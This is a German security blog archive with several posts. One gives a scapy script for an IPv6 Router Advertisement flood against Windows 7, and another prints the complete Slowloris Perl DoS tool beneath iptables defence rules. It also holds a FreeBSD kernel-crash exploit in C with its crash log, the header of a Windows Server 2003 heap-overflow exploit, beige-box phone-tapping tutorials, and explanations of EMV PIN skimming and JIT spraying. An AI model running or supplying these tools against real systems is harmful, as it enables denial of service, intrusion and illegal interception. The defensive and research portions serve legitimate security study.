Archiv für Kategorie ‘Security’

Windows 7 DoS Attacke mit IPv6 RA

Das Prinzip ist sehr trivial, es werden IPv6 Router Advertisements(RA) in ein Netz geschickt.
Da RA Pakete Broad bzw bei IPv6 Multicasting Pakete sind wird also jeder Rechner der dieses Paket empfängt es verarbeiten.
Da setzen wir also an.
Also rein in die Konsole und scapy gestartet.
Wir erstellen ein, jetzt folgen ein paar Definitionen an

#Layer, Protokoll sowie das der Pakettyp wird angegeben.
a = IPv6()
a.dst = "ff02::1"
#ICMPv6 Router Advertisement festlegen
b = ICMPv6ND_RA()
#Hier greift ihr euch die HwAddrese(MAC) des jeweiligen Interfaces,
#in meinem Fall eth1, sollte natürlich angepasst werden und legt sie fest.
#Der die Methode getMac ist eigentlich für ein eigenes Script gedacht
#man kann die Adresse natürlich auch per Hand definieren.
#Dazu einfach  c.lladdr = <MAC-Adresse hier einfügen>
def getMac(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', ifname[:15]))
return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = getMac('eth1')
#MTU sollte 1280 betragen
d = ICMPv6NDOptMTU()
d.show()
#Den IPv6 Prefix festlegen und seine länge festlegen
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "cc5f::"
#Und das Paket abschicken
send(a/b/c/d/e)
#Thx for the idea to http://samsclass.info

Nun wurde ein Paket gecastet. Hmm, dabei passiert bei den anderen Netzwerkteilnehmern nicht außer das sie nun ein Link zu einem Router aufbauen wollen und ihnen temporäre IPv6 Adresse zugewiesen wurde.

Vorher



Nachher

Da Windows 7 aber sehr viele Ressource für diesen Prozess verschwendet und es kein Limit gibt wieviele Router angenommen werden, wäre es möglich ein autopwn Script zu schreiben.

Das könnte dann etwa so aussehen:

Mehr …

Slowloris DoS auf Apache abwehren

Gestern - ein Thread auf HBA - ein User versucht mehr schlecht als recht zu erklären wie man das Perl Script Slowloris anwendet. Dabei kam ich auf die Idee ein Blogeintrag zu schreiben wie man einen Slowloris Angriff abwehren kann, bzw. präventive Einstellung an seinem Webserver vornehmen kann.
Slowloris ist ein DoS Script in Perl welches darauf abzielt diverse Webservertypen lahm zu legen.
Es ist eigentlich eine ziemlich einfache Geschichte, wenn man weiß wie Slowloris arbeitet. Wir gehen also in die Shell und setzten folgende 4 iptables Regeln.

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

Akzeptiert(-j ACCEPT) alle TCP(-p tcp) Verbindungen über Port 80(-dport 80) zum Webserver.

 

 

iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 8 -j DROP

Dieser Regel sperrt(-j DROP) jeden Host der mehr als ein Verbindung pro Sekunde(-limit 1/s) aufbaut, wenn schon 10 Verbindungen bestehen(-limit-burst 10)

 

 

iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --set

Diese Regel gibt jeder neuen Verbindung zum Webserver den Namen/Stempel Verbindung (-name Verbindung -set)

 

 

iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --update --seconds 15 --hitcount 15 -j DROP

Verwirft alle Pakete von einem Host für 15 Sekunden, wenn mehr als 15 neue
Verbindungen mit dem Stempel “slowloris” aufgebaut wurden.

 

 

Zusätzlich kann man im Kernel den ipv4 TCP Timeout auch noch auf 15 Sekunden stellen,(default ist meistens 60):

sysctl -w net.ipv4.tcp_fin_timeout=15

 

slowloris.pl:

Open Spoiler »

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          : oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
.  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
.  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
.   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s'   => $shost,
'dns=s'     => $host,
'httpready' => $httpready,
'num=i'     => $connections,
'cache'     => $cache,
'port=i'    => $port,
'https'     => $ssl,
'tcpto=i'   => $tcpto,
'test'      => $test,
'timeout=i' => $timeout,
'version'   => $version,
);
if ($version) {
print "Version 0.7n";
exit;
}
unless ($host) {
print "Usage:nntperl $0 -dns [www.example.com] -optionsn";
print "ntType 'perldoc $0' for help with options.nn";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!n";
print "Slowloris will be slower than normal as a result.n";
}
my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.n";
my $delay   = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1rn"
. "Host: $sendhostrn"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
. "Content-Length: 42rn";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.n";
print "Is something wrong?nDying.n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.n";
print "Is something wrong?nDying.n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: n";
sleep( $times[$i] );
if ( print $sock "X-a: brn" ) {
print "tWorked.n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "tFailed after $times[$i] seconds.n";
}
}
if ( print $sock "Connection: Closernrn" ) {
print "Okay that's enough time. Slowloris closed the socket.n";
print "Use $delay seconds for -timeout.n";
exit;
}
else {
print "Remote server closed socket.n";
print "Use $delay seconds for -timeout.n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
print
"Connecting to $host:$port every $timeout seconds with $connections sockets:n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num );    #initializing
$first[$_]   = 0 foreach ( 1 .. $num );    #initializing
while (1) {
$failedconnections = 0;
print "ttBuilding sockets.n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1rn"
. "Host: $sendhostrn"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
. "Content-Length: 42rn";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "ttSending data.n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: brn" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:tSlowloris has now sent $packetcount packets successfully.nThis thread now sleeping for $timeout seconds...nn";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i                    = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( &doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
=head1 TITLE
Slowloris
=head1 VERSION
Version 0.7 Beta
=head1 DATE
06/17/2009
=head1 AUTHOR
RSnake <[email protected]> with threading from John Kinsella
=head1 ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
=head1 AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
=head1 NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
=head1 DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
=head2 Testing
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
=head3 Testing Example:
./slowloris.pl -dns www.example.com -port 80 -test
This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
=head2 HTTP DoS
Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
=head3 HTTP DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
=head2 HTTPReady Bypass
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
=head3 HTTPReady Bypass Example
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
=head2 Stealth Host DoS
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
=head3 Stealth Host DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
=head2 HTTPS DoS
Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
=head3 HTTPS DoS Example:
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
=head2 HTTP Cache
Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
=head3 HTTP Cache Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
=head1 Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
=head1 What is a slow loris?
What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

 

P.S.: Diese Einstellungen sollten nicht leichtfertig gesetzt werden, und auch nur dann, wenn man weiß was dahinter steckt. Auch ist es möglich das die gleichen Settings auf verschiedenen Server unterschiedliche Ergebnisse liefern. Die Werte sind Richtwerte nach denen man sich orientieren kann. Außerdem kann es mit diesen Settings zu diversen Problemen mit aggresiven Crawlern kommen.

 

 

 

Achtung: PIN Skimming!

Vier Sicherheitsforscher haben auf der vergangene Woche stattgefundenen CanSecWest-Sicherheitskonferenz die Praktikabliität von Skimming bei Chipkarten demonstriert – und das sowohl für eine unsichere Klasse von Chips (SDA) als auch für eine als sicherer geltende Klasse (DDA). Die beim EMV-Verfahren mit Chip ausgestatteten EC- und Kreditkarten sollen das Skimming, also das Abfangen von Kartendaten und PIN erschweren.
Skimming-Angriffe auf Chipkarten sind nicht grundsätzlich neu und lassen sich prinzipiell auch etwa über Tastaturaufsätze realisieren. Die vier Forscher beschreiben in ihrer Präsentation “Credit Card skimming and PIN harvesting in an EMV world” (PDF) jedoch, wie sich die Kommunikation zwischen Terminal und Chip durch eine flache Platine im Kartenschlitz belauschen und manipulieren lässt, um an eine PIN zu gelangen. Ein Platine ist erheblich unauffälliger als ein wackelig aufgeklebter Aufsatz.

Klein, flach, unauffällig: Der EMV-Skimmer soll in Kartenschlitzen von Terminals nicht weiter auffallen. Der Trick der Forscher Andrea Barisani und Daniele Bianco von Inversepath sowie Adam Laurie und Zac Franken von Aperturelabs bestand nun darin, dem Terminal eine Liste unterstützter Verifikationsmethoden (CVM List) der Karte zu signalisieren, bei der auch die Übertragung der PIN an die Karte zu Prüfung im Klartext erlaubt ist (Plaintext PIN verification performed by ICC). Zwar wird die PIN an die Karte nur im Offline-Modus eines Terminals übertragen – im Online-Mode schickt das Terminal die PIN zur Prüfung in die Zentrale – durch die Manipulation der Kommunikation zwischen Karte und Terminal schafften sie es jedoch, immer eine Offline-Verifikation mit Klartextübertragung zu erzwingen. Und mit der Platine im Schlitz ließ sich die PIN mitlesen.

Dabei ist es offenbar unerheblich, ob die Karte einen billigen Chip ohne eigene Kryptografiefunktion (SDA) oder einen teuren, bislang als sicher geltenden Chip mit Dynamic Data Authentication (DDA) enthält. Um die abgefangene PIN jedoch benutzen zu können, muss der Skimmer entweder die Karte vom Kunden stehlen oder zusätzlich den Magnetstreifen auslesen und damit eine geklonte Karte herstellen. Letzteres funktioniert jedoch nur bei Karten, die nicht mit einem sogenannten iCVV-Code geschützt sind, einem Merkmal, das dem Herausgeber den missbräuchliche Einsatz des Magnetstreifens signalisiert.

Daniele Bianco erklärte: “Das eigentliche Problem bei EMV ist, dass durch die scheinbare Sicherheit des Verfahrens die Beweislast auf den Kunden abgewälzt wird. Es wird ihm unterstellt, dass er fahrlässig mit seiner PIN umgegangen ist.“ Betroffen sind nach Binacos Ansicht alle EMV-Installationen, also auch die in Deutschland. “Das Problem liegt in der Protokollspezifikation. Dadurch lässt sich diese Lücke auch nicht leicht schließen.“

 

Dass es dort grundsätzlich Probleme gibt, wissen Hersteller und Banken eigentlich seit über fünf Jahren. Damals beschrieben Wissenschaftler der Cambridge Universität bereits einen Skimming-Angriff auf SDA-Karten. Seitdem hat sich wenig getan. Vor rund einem Jahr zeigten dieselben britische Forscher einen Weg, mit dem sich das EMV-Verfahren bei EC- und Kreditkarten aushebeln lässt, sodass Karten scheinbar beliebige PINs akzeptieren. Diese Manipulation ließ sich allerdings im Nachhinein aufdecken. (Marc Heuse - heise)

Das ePaper gibt es hier: PIN Skimming

Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow

####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################

Mehr …

Colorboxing Part II

Halli Hallo,

in Part I habe ich euch kurz angerissen wie ich eine Beige Box zusammenbastel. In Part II werde ich euch jetzt zeigen wie und an welchen Stellen man so ein Gerät theoretisch(!) nutzen könnte. Ich übernehme keinerlei Haftung für eventuell auftretende Schäden und hoffe ich treibt keinen Unfug mit der Anleitung.

Parallel geschaltetes Telefon

Das Prinzip ist ganz einfach. Wie auf dem Schaubild zu erkennen müssen wir unsere Beigebox nur an eine vorhanden Leitung anklemmen. Wie schon gelernt haben wir 2 Adern die von unserer Box wegführen.

Mehr …

Colorboxing Part I

Erst vor kurzem habe ich mich mit S3RB31 über Phreaking unterhalten, und da nun viele Standart Anlaufpunkte von mir im Netz down sind, und ich nicht genau weiß was ich mit meiner Zeit jetzt anfangen soll, schreib ich einfach mal drauf los.

Was ist eigentlich Phreaking?

Unter Phreaking versteht man im “Hacker-Chargon” das Einfluss nehmen auf Telekommunikationsysteme. Die Ziele sind weitreichend. Vom kostenlosem Telefonieren über das Erlangung von Informationen bis hin zum Geld verdienen.

Vor 20 Jahren war das Phreaking populär, wärend es in der heutigen Zeit immer mehr in Vergessenheit gerät. Warum? Es ist garnicht sooolange her da waren unsere Netze in Dtl. noch durchweg analog, und ließen sich auf Grund dieser Tatsache sehr leicht manipulieren, und das auch ohne physikalischen Zugriff.

Da das Thema recht weitreichend ist, habe ich mir einen kleinen Teil herraus gesucht.

Es nennt sich Colorboxing, ich werde in diesem Artikel auf die BEIGE-Box eingehen, die wohl heute noch am meist benutzte Colorbox. Wenn ich von Box rede, dürf ihr euch keine “Kiste” vorstellen Wieso es Boxing heißt erzähle ich euch ein ander mal.

Mehr …

Local DoS Exploit f0r BSD Release 8

Wird der Exploit kompiliert und ausgeführt crasht das System und startet neu. (null pointer dereference)

# Exploit Title: FreeBSD local denial of service – forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE

#include
#include
#define PAGE_SIZE 4096
#include
#include
#include
main() {
int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
char buf[4096];
for (i2=0;i2<256;i2++) {
for (i3=0;i3<2;i3++) {
for (i4=0;i4<2;i4++) {
fd = socket(i2, i3, i4);
if (fd < 0) continue;
printf("SUCCESS!\n");
for (i5=0;i5<100;i5++) {
for (i6=0;i6<100;i6++) {
setsockopt(fd, i5, i6, buf, 4);
getsockopt(fd, i5, i6, buf, &i7);
}}}}}
}

Hier das Crashlog:

Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address = 0xc
Jan 28 11:33:07 r00tme kernel: fault code = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer = 0×20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer = 0×28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer = 0×28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment = base 0×0,
limit 0xfffff, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds – press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting…

Anscheinend funktioniert der Exploit nur wenn das System mit einer VMware Lösung virtualisiert wird und einen bestimmten NIC Treiber nutzt.

JIT-Spraying strikes back!

Servus,

ich beschäftige mich im Moment mit JIT-Spraying. Im Regelfall wird diese Art des Exploiting durch die Data Execution Prevention (DEP) im Bios und das Address Space Layout Randomization (ASLR) im jeweiligem OS verhindert. Wer sich jedoch an die letzte fatale Vuln im Adobe Reader erinnert, weiß das es nicht unmöglich jene Schutzmechanismen zu umgehen.

JIT-Exploiting funktioniert nach einem einfachem Prinzip. Während der Laufzeit eines Programms, wird der Schadcode JIT(just in time) kompiliert. Nun springen aber die oben genannten Schutzmechanisem an und versuchen die execution des Codes zu verhindern.

Dion Blazakis hat einen Weg gefunden um jene Schutzmechanismen mit einem Actionscript(Flash) aus zu tricksen. Er beruht darauf, dass es bei einer Folge von Bytes sehr wohl darauf ankommt, an welcher Stelle genau man beginnt, sie als Code zu interpretieren.

Diese XOR-Befehle in ActionScript

var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^ …);

übersetzt der JIT-Compiler in folgende Maschinenbefehle:

0x1A1A0100: 359090903C XOR EAX, 3C909090
0x1A1A0105: 359090903C XOR EAX, 3C909090
0x1A1A010A: 359090903C XOR EAX, 3C909090

Springt man jedoch knapp daneben, auf eine der Speicheradressen mit dem Wert 0x90 sieht die CPU das Folgende:

0x1A1A0101: 90 NOP
0x1A1A0102: 90 NOP
0x1A1A0103: 90 NOP
0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: 90 NOP
...

Das Ding an der Sache ist es also, das durch eine gefuchste Wahl der XOR Wertes es auch möglich ist andern Code JIT kompilieren und ausführen zu können. Es ist also möglich jegliche Schutzmechanismen vom AS zu umgehen und die Mechanismen von BIOS und OS gar nicht erst auf den Plan zu rufen. Sobald eine solche Möglichkeit gefunden wurde ist ein Tutorial nicht fern

In diesem Beispiel wird gezeigt wird durch die oben genannte Technik Code ausgeführt wird(idF die Systemeigene calc.exe)

Nach oben